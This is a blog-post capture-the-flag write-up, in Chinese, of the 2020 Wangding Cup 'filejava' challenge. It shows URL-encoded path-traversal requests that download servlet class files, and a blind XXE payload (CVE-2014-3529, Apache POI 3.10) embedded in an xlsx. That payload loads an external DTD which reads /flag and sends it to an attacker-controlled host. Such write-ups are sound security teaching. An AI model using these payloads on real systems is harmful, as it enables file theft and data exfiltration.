[网鼎杯 2020 青龙组]filejava

原创

 b1ackc4t
 □ 日子 2022-01-27 18:39:37 修改
 ○ 231 ℃ 收藏

 分类专栏:
 writerup 文章标签:
 ctf writeup web安全

 于 2022-01-27 17:45:59 首次发布
 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/m0_49835838/article/details/122718372
 版权



writerup 专栏收录该内容

7篇文章0订阅

订阅专栏

任意文件下载

选择文件 6~L4J9C1ZX...UL`%)7A.png submit

入眼是一个上传框,我们先随意上传一个正常图片试试水

文件上传成功! 下载地址: <u>6~L4J9C1ZXDT`PLOUL`%)7A.png</u>

拿到文件下载地址,尝试一下能否任意文件下载

抓下载的包尝试目录穿越



成功下载web.xml的内容

13	version="4.0">					
14	<servlet></servlet>					
15	<pre><servlet-name>DownloadServlet</servlet-name></pre>					
16	<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>					
17						
18						
19	<servlet-mapping></servlet-mapping>					
20	<pre><servlet-name>DownloadServlet</servlet-name></pre>					
21	<url-pattern>/DownloadServlet</url-pattern>					
22						
23						
24	<servlet></servlet>					
25	<pre><servlet-name>ListFileServlet</servlet-name></pre>					
26	<servlet-class>cn.abc.servlet.ListFileServlet(/servlet-class></servlet-class>					
27						
28						
29	<servlet-mapping></servlet-mapping>					
30	<pre><servlet-name>ListFileServlet</servlet-name></pre>					
31	<url-pattern>/ListFileServlet</url-pattern>					
32						
33						
34	<servlet></servlet>					
35	<servlet-name>UploadServlet</servlet-name>					
36	<servlet-class>cn.abc.servlet.UploadServlet<'servlet-class></servlet-class>					
37						
38						
39	<servlet-mapping></servlet-mapping>					
40	<servlet-name>UploadServlet</servlet-name>					
41	<url-pattern>/UploadServlet</url-pattern>					
42						
43	CSDN @b1ackc4t					

所有class文件都在**/WEB-INF/classes**继续下载所有的class文件,注意不要忘了class后缀



/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fDownloadServlet.class /DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fListFileServlet.class /DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fUploadServlet.class

将三个文件拖入idea反编译,发现关键代码

```
filename = fileItem.getName();
if (filename != null && !filename.trim().equals("")) {
    fileExtName = filename.substring(filename.lastIndexOf( str ".") + 1);
    InputStream in = fileItem.getInputStream();
    if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
        try {
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
        } catch (InvalidFormatException var20) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            var20.printstackTrace();
        }
        String saveFilename = this.makeFileName(filename);
        CSDN @b1ackc4t
        String saveFilename = this.makeFileName(filename);
    }
}
```

暴露了使用的依赖poi-ooxml的版本信息3.10,去神奇的搜索引擎搜索一下它的漏洞

1、CVE-2014-3529

Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。

1. 漏洞编号

CVE-2014-3529

2. 影响范围

poi-ooxml-3.10-FINAL.jar及以下版本

CSDN @b1ackc4t

刚好可以利用,那么接下来就是漏洞复现的过程了

CVE-2014-3529

此漏洞需要一台vps进行配合,因为是盲打xxe,数据需要带外才能看见

我这里是借用的buu平台的linux labs,开启一个靶机后会给你一个url可以被外网访问,外网81端口映射的是靶机的80端口,是个apache的web服务。因为只有一个端口可以用,我们把dtd文件放在这个web服务上,flag也发到这个web服务上即可

Linux Labs

1

2020年10月24日 更新:目前所有靶机均能直接访问互联网。

点击启动靶机可以启动一台安装好了 LAMP 的机器。

并且这台机器位于靶机内网,所有动态靶机均可直接通过主机 名访问这台机器。

但由于目前一个账户只能同时启动一台靶机,您如果有需要建 议浏览器开一个隐私窗口,注册一个新账号来启动这个靶机。

ssh 用户名: root 密码: 123456 地址和端口为动态分配的。



_rels	2012/7/2 9:52	文件夹	
adocProps	2012/7/2 9:52	文件夹	
🚬 xl	2012/7/2 9:52	文件夹	
[Content_Types].xml	2012/7/2 9:52	XML 源文件	2 KB

在**[Content_Types].xml**中插入恶意xml代码,引入我们vps上的外部实体

<!DOCTYPE convert [<!ENTITY % test SYSTEM 'http://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/server.dtd'> %test; %exe; %entity;]>

serve 🔊	er.dtd U	sclient.xml U	[Content_Types].xml ×				
E: > desktop > filejava > 🔈 [Content_Types].xml							
1 xml version="1.0" encoding="UTF-8" standalone="yes"?							
2	DOCTYP</td <td>E·convert·[</td> <td></td>	E·convert·[
3	ENTITY</td <td>·%·test·SYSTEM·'</td> <td>ttp://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/server.dtd'>^%test;-%exe;-%entity;]></td>	·%·test·SYSTEM·'	ttp://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/server.dtd'>^%test;-%exe;-%entity;]>				
4	<types td="" x<=""><td>mlns="http://sche</td><td>mas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnc</td></td></types>	mlns="http://sche	mas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnc</td>				

改完了后,把它们压缩回zip,改后缀xlsx

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {

题目代码限制了文件名excel-***.xlsx

excel-exp.xlsx	2022/1/27 17:30	XLSX 工作表	9 KB
----------------	-----------------	----------	------

我们vps的web服务器上准备好dtd文件如下

```
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % exe "<!ENTITY &#37; entity SYSTEM 'http://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/%fil
e;'>">
```

上传我们的excel-exp.xlsx

vps查看apache访问日志

:/var/log/apache2# cat access.log 🛛



url解码得到flag flag{1773660f-ee5a-4ad0-84ac-e8029f518c22}

